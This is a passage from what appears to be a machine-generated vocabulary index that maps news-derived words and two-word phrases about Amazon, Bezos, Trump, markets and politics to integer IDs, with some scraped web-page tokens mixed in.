30613, "heather redman": 30614, "retail india": 30615, "free cash": 30616, "300m": 30617, "doctorate": 30618, "jessica ramos": 30619, "rothschild told": 30620, "new war": 30621, "panther custody": 30622, "government chinese": 30623, "civil warrant": 30624, "administration prepares": 30625, "vacation benefits": 30626, "spenders": 30627, "upend fedex": 30628, "practically implied": 30629, "attack minutes": 30630, "government yee": 30631, "millionaire status": 30632, "low levels": 30633, "michele marconi": 30634, "balboa": 30635, "amid concerns": 30636, "trump mair": 30637, "tyrannical nate": 30638, "solid earning": 30639, "dividend start": 30640, "jeff personal": 30641, "refrain": 30642, "underneath": 30643, "andrei": 30644, "actually influencing": 30645, "san joaquin": 30646, "eat 150": 30647, "celebrate wedding": 30648, "economic history": 30649, "later wrote": 30650, "telegraph": 30651, "appropriately": 30652, "indra nooyi": 30653, "announcement says": 30654, "florida talks": 30655, "negotiations insists": 30656, "ceo andy": 30657, "positive saying": 30658, "reasons constantly": 30659, "hours session": 30660, "thank whoopi": 30661, "popular institution": 30662, "administration crackdown": 30663, "release trump": 30664, "amazon fund": 30665, "padded": 30666, "bread did": 30667, "pictured": 30668, "anita": 30669, "police headquarters": 30670, "overnight based": 30671, "evening accusing": 30672, "vineti": 30673, "creative tactics": 30674, "service clinic": 30675, "concerns catch": 30676, "heavyweight energy": 30677, "large financial": 30678, "nation second": 30679, "800 migrant": 30680, "reservoir": 30681, "returns leaving": 30682, "protest trump": 30683, "reserved share": 30684, "courts trade": 30685, "iraqi reconstruction": 30686, "ingram": 30687, "used language": 30688, "boeing seafair": 30689, "elgin": 30690, "tara": 30691, "elaine chao": 30692, "enquirer followed": 30693, "catching flack": 30694, "founding little": 30695, "voice man": 30696, "sangre": 30697, "tweet unleashed": 30698, "bookstores": 30699, "operations government": 30700, "agencies rapidly": 30701, "site obsessed": 30702, "appnexus": 30703, "offering foreigners": 30704, "pan bolsonaro": 30705, "ebola returns": 30706, "junebaby": 30707, "data analytics": 30708, "limited competition": 30709, "skyscrapers including": 30710, "west investment": 30711, "scott pruitt": 30712, "thankfully trump": 30713, "hampshire ships": 30714, "ruchika budhraja": 30715, "using factory": 30716, "urban birding": 30717, "forming ars": 30718, "demonize": 30719, "sanders delegate": 30720, "asian journalists": 30721, "target raised": 30722, "scion": 30723, "bending lifting": 30724, "order set": 30725, "traditional commerce": 30726, "shocking snippets": 30727, "contrast trump": 30728, "mis": 30729, "sarah rathner": 30730, "manhattan reap": 30731, "capacity president": 30732, "talks": 30733, "includes dwi": 30734, "brighter large": 30735, "steps including": 30736, "1986019": 30737, "mngmt lp": 30738, "house republicans": 30739, "begin tonight": 30740, "senate faceoff": 30741, "ross katherine": 30742, "isis announcements": 30743, "polls closed": 30744, "awoo": 30745, "acquisitive": 30746, "rxsjwxih7h carole": 30747, "puzder explains": 30748, "gul": 30749, "literally close": 30750, "debunk": 30751, "matching funds": 30752, "ask tough": 30753, "stevens washington": 30754, "push sources": 30755, "hardly affected": 30756, "companies issuing": 30757, "btn provider": 30758, "bezos leadership": 30759, "information edge": 30760, "announces": 30761, "jpg 155x90": 30762, "point actually": 30763, "harm jeff": 30764, "vallone urged": 30765, "cecily strong": 30766, "courting": 30767, "steel stocks": 30768, "v0 a4ee": 30769, "pelosi": 30770, "literal title": 30771, "maybe appreciate": 30772, "china vice": 30773, "philippine national": 30774, "hide caption": 30775, "highways schools": 30776, "accommodate potential": 30777, "bedfellows": 30778, "force believe": 30779, "vancouver ant": 30780, "variations amazon": 30781, "396 shares": 30782, "chambers amazon": 30783, "rust": 30784, "natured": 30785, "brexit heavyweights": 30786, "source goody": 30787, "main hq": 30788, "pocahontas": 30789, "leave flee": 30790, "feud centered": 30791, "alexa dash": 30792, "postdecode": 30793, "define holistic": 30794, "training cops": 30795, "media agency": 30796, "tu cuomo": 30797, "highlight sanders": 30798, "best scenario": 30799, "collected bucket": 30800, "sound defeat": 30801, "ina": 30802, "articles big": 30803, "arrangement": 30804, "postcard": 30805, "gossip pages": 30806, "probation 4657": 30807, "owned amazon": 30808, "trump cnn": 30809, "kim seeing": 30810, "bozo presumably": 30811, "profiles white": 30812, "doable minus": 30813, "growth streak": 30814, "limited service": 30815, "immensely damaging": 30816, "question arises": 30817, "reading today": 30818, "avengers infinity": 30819, "relegated": 30820, "facebook fast": 30821, "stocking retail": 30822, "related news": 30823, "times revolt": 30824, "lineage dined": 30825, "yorkers amazon": 30826, "ovation": 30827, "sworn statement": 30828, "predicting amazon": 30829, "trim": 30830, "posts multiple": 30831, "texas security": 30832, "gas companies": 30833, "weddings hsbc": 30834, "stifled innovation": 30835, "amex": 30836, "profit levels": 30837, "doesn lose": 30838, "certain passions": 30839, "definitely affect": 30840, "age pesticides": 30841, "fake listing": 30842, "rycroft": 30843, "bias": 30844, "investment portfolio": 30845, "seattle days": 30846, "slats turned": 30847, "esteem": 30848, "dp b06y5tlnjw": 30849, "percival brought": 30850, "fraction today": 30851, "turkish syrian": 30852, "question": 30853, "websites federal": 30854, "williams drug": 30855, "emery": 30856, "britt mchenry": 30857, "strongly believes": 30858, "criticized cnn": 30859, "passengers injured": 30860, "corp analysts": 30861, "vested shares": 30862, "groups concerned": 30863, "consecutive days": 30864, "savings starting": 30865, "failure entrenching": 30866, "valley titans": 30867, "documents oracle": 30868, "dagen": 30869, "hulbert": 30870, "vlastelica 415": 30871, "office uses": 30872, "josep borrell": 30873, "5g": 30874, "mankiw files": 30875, "repaired": 30876, "lives destiny": 30877, "rachel weisz": 30878, "stop shooting": 30879, "comic nerds": 30880, "ornery regulations": 30881, "worth examining": 30882, "havens": 30883, "footage": 30884, "ounces": 30885, "subsidizing bezos": 30886, "peter carr": 30887, "credit carryforwards": 30888, "need car": 30889, "nearly identical": 30890, "time speaking": 30891, "jim tankersley": 30892, "kanten": 30893, "software hurts": 30894, "photos pecker": 30895, "crenshaw texas": 30896, "owns saks": 30897, "deputy": 30898, "mueller filings": 30899, "mesothelioma survival": 30900, "lasts": 30901, "abuse allegations": 30902, "publications published": 30903, "180commerce": 30904, "running human": 30905, "eas": 30906, "questionable lab": 30907, "fortune equally": 30908, "disney lot": 30909, "kanten reportedly": 30910, "ayoola": 30911, "insertbefore": 30912, "usps services": 30913, "ongoing investigation": 30914, "reported trump": 30915, "just billion": 30916, "rain storm": 30917, "prospect vice": 30918, "employers raise": 30919, "respective countries": 30920, "counting ocean": 30921, "ofthe visibility": 30922, "2013 novel": 30923, "embarrassing sign": 30924, "company couriers": 30925, "opioid distribution": 30926, "edelheit tampa": 30927, "tout amazon": 30928, "decades amazon": 30929, "goodman abrams": 30930, "citing chinese": 30931, "film star": 30932, "major names": 30933, "forum washington": 30934, "floor mattingly": 30935, "finished visiting": 30936, "limo": 30937, "vucci ap": 30938, "google conduct": 30939, "guidance separately": 30940, "buffalo bills": 30941, "tackles issues": 30942, "wasn calling": 30943, "fast accurate": 30944, "old transgender": 30945, "topic fireside": 30946, "brave": 30947, "gizmodo kate": 30948, "blatant attempt": 30949, "issuing correction": 30950, "ntap": 30951, "benefit america": 30952, "silent amid": 30953, "taxes focusing": 30954, "hav": 30955, "spinal surgeries": 30956, "antiregulatory policies": 30957, "evans health": 30958, "delivery space": 30959, "montana democratic": 30960, "profitable corporations": 30961, "knopf 900": 30962, "followed": 30963, "soy fields": 30964, "amazement": 30965, "invest billionto": 30966, "imported record": 30967, "hk": 30968, "instances california": 30969, "earlier mentioned": 30970, "favourites": 30971, "swear": 30972, "paper tough": 30973, "jeff apos": 30974, "missing greene": 30975, "nyc amazon": 30976, "play key": 30977, "forcing immigration": 30978, "better operating": 30979, "trench": 30980, "shephard": 30981, "including": 30982, "technology earlier": 30983, "incredible griff": 30984, "thoroughly corrupting": 30985, "1168": 30986, "dash replenishment": 30987, "anchor names": 30988, "chlo\u00eb sevigny": 30989, "washington missed": 30990, "best interests": 30991, "kitchenware": 30992, "underprices": 30993, "loses billions": 30994, "mexican fusion": 30995, "pdf conversion": 30996, "home deliveries": 30997, "fresh batch": 30998, "today headline": 30999, "jayme closs": 31000, "game people": 31001, "youll retire": 31002, "value offerings": 31003, "capital larry": 31004, "economic momentum": 31005, "infected": 31006, "ambrosetti international": 31007, "ire earlier": 31008, "lavigne treats": 31009, "ecstasy": 31010, "main gas": 31011, "published cardinal": 31012, "dick durbin": 31013, "holding families": 31014, "problem referring": 31015, "blair foster": 31016, "hometown ranks": 31017, "youtu": 31018, "demand payments": 31019, "improper schiff": 31020, "world headlineposttext": 31021, "blackmailed": 31022, "makes point": 31023, "hartley": 31024, "senate judicial": 31025, "ended 382": 31026, "samevmware": 31027, "operating amid": 31028, "unfunded liabilities": 31029, "urged orlando": 31030, "educator": 31031, "registered": 31032, "complex issues": 31033, "nyse kss": 31034, "reporter jeremy": 31035, "secret sauce": 31036, "gop autopsy": 31037, "accounts claiming": 31038, "tell wsj": 31039, "collective suspension": 31040, "including graphics": 31041, "good look": 31042, "mcmafia amazon": 31043, "folds tax": 31044, "heather podesta": 31045, "mobilization": 31046, "officials fined": 31047, "girl digital": 31048, "tabloid spotlight": 31049, "poster depicting": 31050, "stocked": 31051, "cis": 31052, "printing press": 31053, "pending divorce": 31054, "wallace host": 31055, "us27 billion": 31056, "definitely targets": 31057, "enforcement responsibilities": 31058, "rates tick": 31059, "colbert mocked": 31060, "giving wide": 31061, "metascript": 31062, "catalysts": 31063, "propublica illinois": 31064, "board price": 31065, "hair loss": 31066, "amazon cost": 31067, "photo tweeted": 31068, "beiser": 31069, "stakeholders residing": 31070, "stock underperformed": 31071, "reported naples": 31072, "wages social": 31073, "basin site": 31074, "trump propagandist": 31075, "unrecommend": 31076, "delagarza": 31077, "leonsis": 31078, "bit disenchanted": 31079, "department defense": 31080, "cn cnbc": 31081, "marriage": 31082, "collective run": 31083, "lgbtq makes": 31084, "2018 brad": 31085, "48bnguvivs helen": 31086, "aut_twitter_id billmurphyjr": 31087, "bern": 31088, "promoting": 31089, "depot founder": 31090, "worth owning": 31091, "making headlines": 31092, "newspaper ongoing": 31093, "trump frequent": 31094, "officials political": 31095, "unproven": 31096, "brains sharp": 31097, "quarter collection": 31098, "giant did": 31099, "katy": 31100, "employee unionization": 31101, "cooker multicooker": 31102, "certain large": 31103, "offerings charging": 31104, "immigrant children": 31105, "puppy": 31106, "compromises": 31107, "speed firstnet": 31108, "tesla makes": 31109, "repeatedly railed": 31110, "fernando": 31111, "online anthony": 31112, "constantly annexing": 31113, "summer scheduled": 31114, "j808x8vl6c": 31115, "bear signal": 31116, "drawbacks": 31117, "irresistibly": 31118, "secretary csnac": 31119, "mccain sparred": 31120, "newly launched": 31121, "imposing higher": 31122, "market chris": 31123, "consumed saudi": 31124, "compose": 31125, "allows independent": 31126, "favoring google": 31127, "million political": 31128, "jpm chase": 31129, "fortuitous": 31130, "fedex stock": 31131, "say yeah": 31132, "blames": 31133, "hashtag boycottwalmart": 31134, "pence held": 31135, "past working": 31136, "2fwww chicagotribune": 31137, "russia china": 31138, "general mattis": 31139, "safe 303567": 31140, "katharine": 31141, "advocates acknowledge": 31142, "biondo investment": 31143, "secret making": 31144, "r0": 31145, "ami escaped": 31146, "today solomon": 31147, "prosecute": 31148, "martin photo": 31149, "mattingly kaitlan": 31150, "successful soft": 31151, "dances": 31152, "target universities": 31153, "overly": 31154, "missil potential": 31155, "amazon seth": 31156, "stella mccartney": 31157, "avoid paradoxes": 31158, "inzaulgarat": 31159, "gracing magazine": 31160, "rinse": 31161, "sbux ceo": 31162, "conservative ceos": 31163, "making million": 31164, "new insight": 31165, "boycottamazon hashtag": 31166, "retaliatory tariff": 31167, "simpsons scenes": 31168, "convicted kelly": 31169, "orders chinas": 31170, "tapes emerged": 31171, "avenue dented": 31172, "reportedly bought": 31173, "called sanders": 31174, "growing number": 31175, "rmb30bn": 31176, "mads": 31177, "shoring": 31178, "powers idea": 31179, "articleelem data": 31180, "2017 raising": 31181, "suisse hired": 31182, "shinsuke": 31183, "13th bloomberg": 31184, "presidential related": 31185, "farming communities": 31186, "crp data": 31187, "liberal minded": 31188, "company offering": 31189, "220 people": 31190, "box credit": 31191, "zachary": 31192, "advises cautious": 31193, "opinion writers": 31194, "scandal regarding": 31195, "genetic": 31196, "sports 2018": 31197, "results today": 31198, "bad federal": 31199, "action using": 31200, "causing european": 31201, "brezhnev": 31202, "final request": 31203, "sears changed": 31204, "getcurrentvideocardcontents": 31205, "company took": 31206, "mansion instagram": 31207, "doesn really": 31208, "nearing postrecession": 31209, "free money": 31210, "tower construction": 31211, "sen mazie": 31212, "stringent policing": 31213, "sizes max": 31214, "quality doctors": 31215, "investors mainly": 31216, "parties denounced": 31217, "world scientists": 31218, "policy adviser": 31219, "retailers maxsa": 31220, "worth depending": 31221, "promoting politically": 31222, "organized town": 31223, "similarities": 31224, "records collected": 31225, "product": 31226, "hmmm sounds": 31227, "look pretty": 31228, "samantha lee": 31229, "seattles": 31230, "undated": 31231, "stunning swirl": 31232, "reserve chief": 31233, "enormous wealth": 31234, "europe index": 31235, "answer won": 31236, "comedian manages": 31237, "research team": 31238, "cortez drives": 31239, "montreal mom": 31240, "giuliani tried": 31241, "economy similarly": 31242, "events rates": 31243, "allegedly rewarded": 31244, "month announced": 31245, "large size": 31246, "lawyer treasonous": 31247, "building trades": 31248, "diane bartz": 31249, "kingston": 31250, "main": 31251, "aforementioned securities": 31252, "resource material": 31253, "explain democratic": 31254, "tissue taken": 31255, "93m": 31256, "trilogy covers": 31257, "kelly \u01612017": 31258, "jonathan swan": 31259, "believe tech": 31260, "model pharmacy": 31261, "crowd member": 31262, "behemoth consults": 31263, "host joined": 31264, "utm_medium onsite": 31265, "time make": 31266, "nuclear capable": 31267, "distinctive laugh": 31268, "postscript": 31269, "evacuation orders": 31270, "cnn utils": 31271, "worst cook": 31272, "terminals": 31273, "statement apologizing": 31274, "usa photo": 31275, "republican elected": 31276, "spying comments": 31277, "marvin kalb": 31278, "hud proposed": 31279, "directors anders": 31280, "houses say": 31281, "odyssey died": 31282, "ipec": 31283, "president deals": 31284, "national correspondent": 31285, "t5q 195": 31286, "literary bohemian": 31287, "trump sessions": 31288, "kidnapping": 31289, "web extra": 31290, "premiership": 31291, "2018 marking": 31292, "bush years": 31293, "include strong": 31294, "building data": 31295, "step include": 31296, "clear winner": 31297, "unspecified tax": 31298, "amazons contracts": 31299, "largest legal": 31300, "matured time": 31301, "trump nixon": 31302, "congressman johngaramendi": 31303, "trailing allen": 31304, "bezos splitting": 31305, "business history": 31306, "mahoney": 31307, "dalvin": 31308, "additional training": 31309, "hamptons sell": 31310, "reportedly warned": 31311, "day democratic": 31312, "accuser ford": 31313, "market segment": 31314, "bullied democratic": 31315, "restaurant manducatis": 31316, "katz sent": 31317, "immune response": 31318, "daily federal": 31319, "dynamic force": 31320, "openly acknowledging": 31321, "irritate trump": 31322, "time congestion": 31323, "home innovations": 31324, "accepting foreign": 31325, "technology education": 31326, "pretoria": 31327, "million usps": 31328, "vestager competition": 31329, "available worldwide": 31330, "raised water": 31331, "defends chiefs": 31332, "esp streetinsider": 31333, "documents reviewed": 31334, "wife donald": 31335, "faqs comments": 31336, "cost covering": 31337, "daily shot": 31338, "media tom": 31339, "2016 amazon": 31340, "cbs donaldtrump": 31341, "zone wirecard": 31342, "talese doubleday": 31343, "reporting tools": 31344, "anthony demartino": 31345, "turkish officials": 31346, "afforded": 31347, "payne": 31348, "amazon builds": 31349, "sensors satellites": 31350, "ticket": 31351, "privacy 1536750001": 31352, "smith sotheby": 31353, "say legal": 31354, "started offering": 31355, "ice rink": 31356, "description": 31357, "activity amazon": 31358, "charging shippers": 31359, "dole mistress": 31360, "angry ruthless": 31361, "influential dealmakers": 31362, "aws businesses": 31363, "issues rielly": 31364, "nyc arlington": 31365, "million bail": 31366, "finances released": 31367, "analyst chuck": 31368, "remarkably similar": 31369, "disempowering ibama": 31370, "report available": 31371, "potential pitfalls": 31372, "largest employer": 31373, "rstevenson15": 31374, "border troop": 31375, "comey really": 31376, "tayyip erdogan": 31377, "tempting power": 31378, "american led": 31379, "christopher kimball": 31380, "socialites": 31381, "grownups\u0430act\u0430like": 31382, "coverage bezos": 31383, "ecommerce websites": 31384, "avoided trump": 31385, "strained ties": 31386, "unseemly underpinning": 31387, "immediately provide": 31388, "long way": 31389, "balls": 31390, "billion bone": 31391, "information overload": 31392, "acting director": 31393, "company believe": 31394, "2016 dailymail": 31395, "profits multinationals": 31396, "billion peter": 31397, "excellent illustration": 31398, "pets outside": 31399, "command officer": 31400, "commerce colossus": 31401, "acquired organic": 31402, "division jumped": 31403, "maggie haberman": 31404, "similar question": 31405, "nazis japanese": 31406, "netapp": 31407, "pleased": 31408, "movement shame": 31409, "national platform": 31410, "security guard": 31411, "facebook deals": 31412, "bundles international": 31413, "electric kawasaki": 31414, "boyfriend craig": 31415, "pulled smart": 31416, "recruitment goal": 31417, "plus prime": 31418, "bet earl": 31419, "pichai responds": 31420, "short history": 31421, "disruptive behaviour": 31422, "wealthy shoppers": 31423, "amzn make": 31424, "applauded": 31425, "headquarters execs": 31426, "business unlike": 31427, "amazon fear": 31428, "fashion wish": 31429, "fastdom measure": 31430, "donald think": 31431, "whitney activist": 31432, "barry grodenchik": 31433, "indian business": 31434, "earning counterparts": 31435, "percentage terms": 31436, "johngaramendi levelled": 31437, "coach team": 31438, "opinionated": 31439, "check price": 31440, "voter enthusiasm": 31441, "displaced villages": 31442, "overnight vote": 31443, "mark lamster": 31444, "ugly delicious": 31445, "tatters": 31446, "market continues": 31447, "raise sanders": 31448, "initial coin": 31449, "punches kicks": 31450, "combat zones": 31451, "blow suffered": 31452, "martin sinema": 31453, "cnn image": 31454, "amazon writing": 31455, "constitute taxpayer": 31456, "flynn novel": 31457, "instead argues": 31458, "init datecreated": 31459, "vaccines fueled": 31460, "comment according": 31461, "security council": 31462, "wars franchise": 31463, "crime nawazuddin": 31464, "age far": 31465, "google llc": 31466, "territory investors": 31467, "following excerpts": 31468, "dvd published": 31469, "postpone retaliatory": 31470, "dependence": 31471, "higher wages": 31472, "benchmark sensex": 31473, "stock specific": 31474, "contributor glamorous": 31475, "trade deficit": 31476, "fargo combined": 31477, "complete deliveries": 31478, "bombs killed": 31479, "alphabet boeing": 31480, "dilutes": 31481, "certificates licenses": 31482, "internet entrepreneur": 31483, "house president": 31484, "nominated series": 31485, "families joyful": 31486, "bidding adding": 31487, "2018 motley": 31488, "contractor opportunities": 31489, "twitter attacks": 31490, "signups": 31491, "stoxx europe": 31492, "earvil": 31493, "multiple": 31494, "gloating": 31495, "times responded": 31496, "trump wrote": 31497, "manufactured feud": 31498, "warning game": 31499, "international rules": 31500, "rep mick": 31501, "arundhati": 31502, "warren floats": 31503, "housing secretary": 31504, "challenge decision": 31505, "new fans": 31506, "axvpbhjd2u utpol": 31507, "days caused": 31508, "miles ahead": 31509, "easy acceptance": 31510, "planet gates": 31511, "alleged plot": 31512, "helped mute": 31513, "market gained": 31514, "steve jobs": 31515, "send strong": 31516, "5k walk": 31517, "china changes": 31518, "school fall": 31519, "lamichhane": 31520, "colvin sent": 31521, "aik": 31522, "inline_script_tags loadedfully": 31523, "tech entrepreneur": 31524, "director honorary": 31525, "takes slightly": 31526, "air tankers": 31527, "lion hearted": 31528, "constituents weren": 31529, "recommendations charts": 31530, "tellado president": 31531, "regulatory enforcement": 31532, "amazon exit": 31533, "california live": 31534, "pushed sales": 31535, "billion 386": 31536, "discussion 2018": 31537, "tipsheets": 31538, "offering product": 31539, "yes": 31540, "washington politico": 31541, "sales geekwire": 31542, "superimposed": 31543, "ranchers soy": 31544, "2018 ecolab": 31545, "halts store": 31546, "espinal liveable": 31547, "grove": 31548, "proactive steps": 31549, "discount read": 31550, "withholdings": 31551, "dollar billing": 31552, "founder branch": 31553, "says mnuchin": 31554, "nail": 31555, "tweet sparked": 31556, "franciscan university": 31557, "overhaul eliminated": 31558, "going gone": 31559, "important element": 31560, "establishing sustainable": 31561, "developmental disorders": 31562, "celebrations cbs": 31563, "belk foto": 31564, "181001125327": 31565, "photographer matthew": 31566, "mrntf": 31567, "issues provide": 31568, "increased shipping": 31569, "635x367 getty_173218731_200015422000928060_388160": 31570, "sourer tone": 31571, "downloaded": 31572, "2018 based": 31573, "enquirer received": 31574, "hq1": 31575, "development oecd": 31576, "microblogging": 31577, "lower middle": 31578, "deports illegal": 31579, "anthology series": 31580, "tissue paper": 31581, "star hotel": 31582, "mood kilmeade": 31583, "exceed billion": 31584, "issues concerning": 31585, "tech boys": 31586, "accidentally ordered": 31587, "explained follow": 31588, "retail ordering": 31589, "modernist poster": 31590, "divorced president": 31591, "super satya": 31592, "aig chubb": 31593, "occasion misleadingly": 31594, "lingering unease": 31595, "signing nondisclosure": 31596, "chemical component": 31597, "dzyf4hyii1 josh": 31598, "seeno homebuilding": 31599, "pounding": 31600, "real cost": 31601, "rights migrant": 31602, "citing data": 31603, "michael deleo": 31604, "2020 elon": 31605, "tech culture": 31606, "dumb idea": 31607, "river bridges": 31608, "nonmainstream commentators": 31609, "respect trump": 31610, "democrat presidential": 31611, "dairy farmers": 31612, "fin": 31613, "castillo": 31614, "detained swedish": 31615, "20181205 1331804068": 31616, "trump married": 31617, "saqib": 31618, "9oypfoxzk3 jeff": 31619, "n4 a4ee": 31620, "ports alessandra": 31621, "blatant examples": 31622, "ami sought": 31623, "series daredevil": 31624, "115th precincts": 31625, "isis remains": 31626, "inner circle": 31627, "selected essays": 31628, "tilson": 31629, "amazon advantageous": 31630, "ranching china": 31631, "joel sartore": 31632, "book contains": 31633, "summit coverage": 31634, "ideas 2018": 31635, "community organized": 31636, "readmorearticles": 31637, "partners dsp": 31638, "jesus dad": 31639, "recovers soon": 31640, "soros": 31641, "markets stabilize": 31642, "company manages": 31643, "retail sectors": 31644, "michael hancock": 31645, "demeans": 31646, "conjured": 31647, "governor walker": 31648, "jeff retaining": 31649, "asked ceo": 31650, "industry mccarthy": 31651, "b7a r4ee": 31652, "bezos announces": 31653, "says kindle": 31654, "managing": 31655, "jurists": 31656, "bulk orders": 31657, "hamilton point": 31658, "presidency sen": 31659, "jason romero": 31660, "margery eagan": 31661, "gilbert suggests": 31662, "holding steady": 31663, "people create": 31664, "2018 alex": 31665, "worked pay": 31666, "10th annual": 31667, "includes north": 31668, "consumers lack": 31669, "china trump": 31670, "linkedin youtube": 31671, "trouble ahead": 31672, "shooting trial": 31673, "opioid related": 31674, "upcoming shopping": 31675, "average wages": 31676, "cheek dropped": 31677, "early days": 31678, "work vice": 31679, "multiple children": 31680, "series available": 31681, "suggests raising": 31682, "campaign buying": 31683, "locally broadcast": 31684, "govern environmental": 31685, "make shopping": 31686, "lighter blue": 31687, "execution style": 31688, "bergen": 31689, "nyse tgt": 31690, "save taxpayer": 31691, "government legitimatized": 31692, "counterfeit wine": 31693, "landfills": 31694, "art therapy": 31695, "procurement policy": 31696, "pondered": 31697, "host lawrence": 31698, "progress despite": 31699, "long sniped": 31700, "articles tech": 31701, "neuroses": 31702, "consumption habits": 31703, "closely related": 31704, "ne tally": 31705, "lsd cocaine": 31706, "lake success": 31707, "klux klan": 31708, "beforethis final": 31709, "jam": 31710, "oil company": 31711, "received free": 31712, "commerce alibaba": 31713, "decision saying": 31714, "nahmias": 31715, "jobs small": 31716, "capacity restraints": 31717, "violations people": 31718, "economy raised": 31719, "small silver": 31720, "abramowitz replied": 31721, "minority party": 31722, "joe sullivan": 31723, "carries curse": 31724, "biggest individual": 31725, "renewal rates": 31726, "solo star": 31727, "good raincoat": 31728, "ceo president": 31729, "affair including": 31730, "hr departments": 31731, "policy priorities": 31732, "mcnamee sessions": 31733, "work claims": 31734, "good line": 31735, "sanders lt": 31736, "casual 2019": 31737, "benefits creates": 31738, "female hosts": 31739, "economy expanded": 31740, "state board": 31741, "fbi suspicions": 31742, "word boston": 31743, "employee contributions": 31744, "t5q": 31745, "catalano": 31746, "formal deal": 31747, "traci goldstein": 31748, "story major": 31749, "home purchase": 31750, "quickly learns": 31751, "deregulation stir": 31752, "mps left": 31753, "amanda": 31754, "stuffy": 31755, "wholesale price": 31756, "usps predicts": 31757, "government bureaucrats": 31758, "small contractors": 31759, "recently accusing": 31760, "camping going": 31761, "force surgery": 31762, "presume": 31763, "chairman orrin": 31764, "archer daniels": 31765, "cady": 31766, "despite rumours": 31767, "state company": 31768, "vicious satire": 31769, "economic interventions": 31770, "primaryfilelocation lead": 31771, "trump rotting": 31772, "tackle": 31773, "feature talks": 31774, "exhibition": 31775, "contain kernel": 31776, "ryan calls": 31777, "chips fall": 31778, "crosses new": 31779, "requirement according": 31780, "bobbitt": 31781, "queen worked": 31782, "909": 31783, "federal solution": 31784, "gianaris remains": 31785, "recent prime": 31786, "misery": 31787, "maker tesla": 31788, "wealth stories": 31789, "school shootings": 31790, "regularly quoted": 31791, "clearly wanted": 31792, "various credits": 31793, "outlooks arrive": 31794, "governor bruce": 31795, "read secret": 31796, "collateral damages": 31797, "baking": 31798, "17044620011": 31799, "phonics photo": 31800, "californians bought": 31801, "hr block": 31802, "just print": 31803, "paulmanafort": 31804, "ride amazon": 31805, "associated threat": 31806, "altruistic": 31807, "hat featuring": 31808, "ad ran": 31809, "worst performing": 31810, "nonprofits rose": 31811, "conference featured": 31812, "maryland gov": 31813, "productivity q2": 31814, "plan just": 31815, "growing global": 31816, "lawn mowers": 31817, "elpasotimes": 31818, "wholesale revision": 31819, "grace netflix": 31820, "including cisco": 31821, "emma thompson": 31822, "lewinsky jonathan": 31823, "collins qanon": 31824, "president considers": 31825, "including breaking": 31826, "twinkle twinkle": 31827, "veterans running": 31828, "warren massachusetts": 31829, "manufacturing 2018": 31830, "lesser known": 31831, "called trumps": 31832, "fibonacci": 31833, "groaned later": 31834, "emergency hearings": 31835, "news markets": 31836, "fsu case": 31837, "great evening": 31838, "ago richard": 31839, "civil liberty": 31840, "moving cables": 31841, "2019 data": 31842, "pulling press": 31843, "conditions making": 31844, "digital kingdoms": 31845, "unclear rules": 31846, "underpays": 31847, "making 300": 31848, "job city": 31849, "rebuff": 31850, "analysis turned": 31851, "views expressed": 31852, "pence vice": 31853, "subsidized based": 31854, "canceled plans": 31855, "analysis opinion": 31856, "single fingerprint": 31857, "overall showing": 31858, "cars suggests": 31859, "hangzhou photo": 31860, "change approximately": 31861, "references julie": 31862, "finding alternate": 31863, "jodi seth": 31864, "economic opportunity": 31865, "possible impact": 31866, "news emailed": 31867, "expenses related": 31868, "workforce programs": 31869, "ri reported": 31870, "griffeth boeing": 31871, "house story": 31872, "playboy kabc": 31873, "blisters hot": 31874, "act essentially": 31875, "quality natural": 31876, "international losses": 31877, "microsoft missed": 31878, "home imagine": 31879, "photo source": 31880, "1014107259398512640": 31881, "amazon whittled": 31882, "scene jonathan": 31883, "jeremiah moss": 31884, "offsetting shipping": 31885, "needed set": 31886, "practices political": 31887, "raedle attorney": 31888, "institutions local": 31889, "excellent overview": 31890, "warren cfpb": 31891, "1863 called": 31892, "family separation": 31893, "magician": 31894, "opens higher": 31895, "received list": 31896, "book totals": 31897, "contractual terms": 31898, "treat business": 31899, "option exercises": 31900, "massive number": 31901, "warehouse facility": 31902, "ori": 31903, "volume growth": 31904, "restricted access": 31905, "banished": 31906, "hum just": 31907, "intricate cheese": 31908, "block amazon": 31909, "direct state": 31910, "happy amazon": 31911, "200 channels": 31912, "abolishice": 31913, "phil berlowitz": 31914, "qualified candidates": 31915, "force recommendations": 31916, "bezos tours": 31917, "stock movement": 31918, "charity trice": 31919, "bleed": 31920, "lots": 31921, "dividend yield": 31922, "snapchat revenue": 31923, "stock climbing": 31924, "1999 healthy": 31925, "mueller looming": 31926, "having biased": 31927, "avoid false": 31928, "false isvideoreplayclicked": 31929, "bake": 31930, "centric": 31931, "56am": 31932, "sales reuters": 31933, "elite general": 31934, "club south": 31935, "brenda": 31936, "algos": 31937, "sector took": 31938, "rusterholz christie": 31939, "oct ap": 31940, "bezos cook": 31941, "coaching": 31942, "commercial freedoms": 31943, "22205": 31944, "deteriorating faster": 31945, "despite clear": 31946, "starring nicole": 31947, "salvage": 31948, "motley appeared": 31949, "controversy involves": 31950, "facebook merger": 31951, "second mistake": 31952, "trump eyes": 31953, "body shot": 31954, "tuttle decided": 31955, "shareholders probably": 31956, "growing despite": 31957, "rad": 31958, "lcd displays": 31959, "misunderstandings": 31960, "popular true": 31961, "jeff settled": 31962, "probes": 31963, "bloomberg story": 31964, "psat": 31965, "block anybody": 31966, "amorality": 31967, "source gregg": 31968, "giant justin": 31969, "moral science": 31970, "action president": 31971, "agent joy": 31972, "expect mother": 31973, "lightly": 31974, "political threats": 31975, "reportedly texting": 31976, "media chief": 31977, "finish stocks": 31978, "football days": 31979, "restructuring costs": 31980, "young employee": 31981, "apparently keeping": 31982, "dry hole": 31983, "varieties": 31984, "antiquated": 31985, "correctional facility": 31986, "investigation led": 31987, "octopus jeff": 31988, "obsessed brethren": 31989, "personality": 31990, "scattering": 31991, "india mumbai": 31992, "sites begin": 31993, "business compared": 31994, "heavy oil": 31995, "book takes": 31996, "country security": 31997, "writes produces": 31998, "times insider": 31999, "fortune tech": 32000, "mammoth task": 32001, "crosshairs": 32002, "discretionary product": 32003, "ceo jeremy": 32004, "bezos make": 32005, "assange": 32006, "tightening strategy": 32007, "week stamps": 32008, "laws police": 32009, "messenger": 32010, "jeff caster": 32011, "contends": 32012, "richard jemmons": 32013, "lead directly": 32014, "pernicious": 32015, "pledge": 32016, "investigated google": 32017, "democrats stack": 32018, "congressperson": 32019, "bases": 32020, "shooting aerial": 32021, "apekina": 32022, "possible secret": 32023, "media government": 32024, "regions interested": 32025, "vendor wholesaling": 32026, "commenter": 32027, "credible luxury": 32028, "reduces": 32029, "years earlier": 32030, "internal wiki": 32031, "leaving europe": 32032, "changed trump": 32033, "follow dow": 32034, 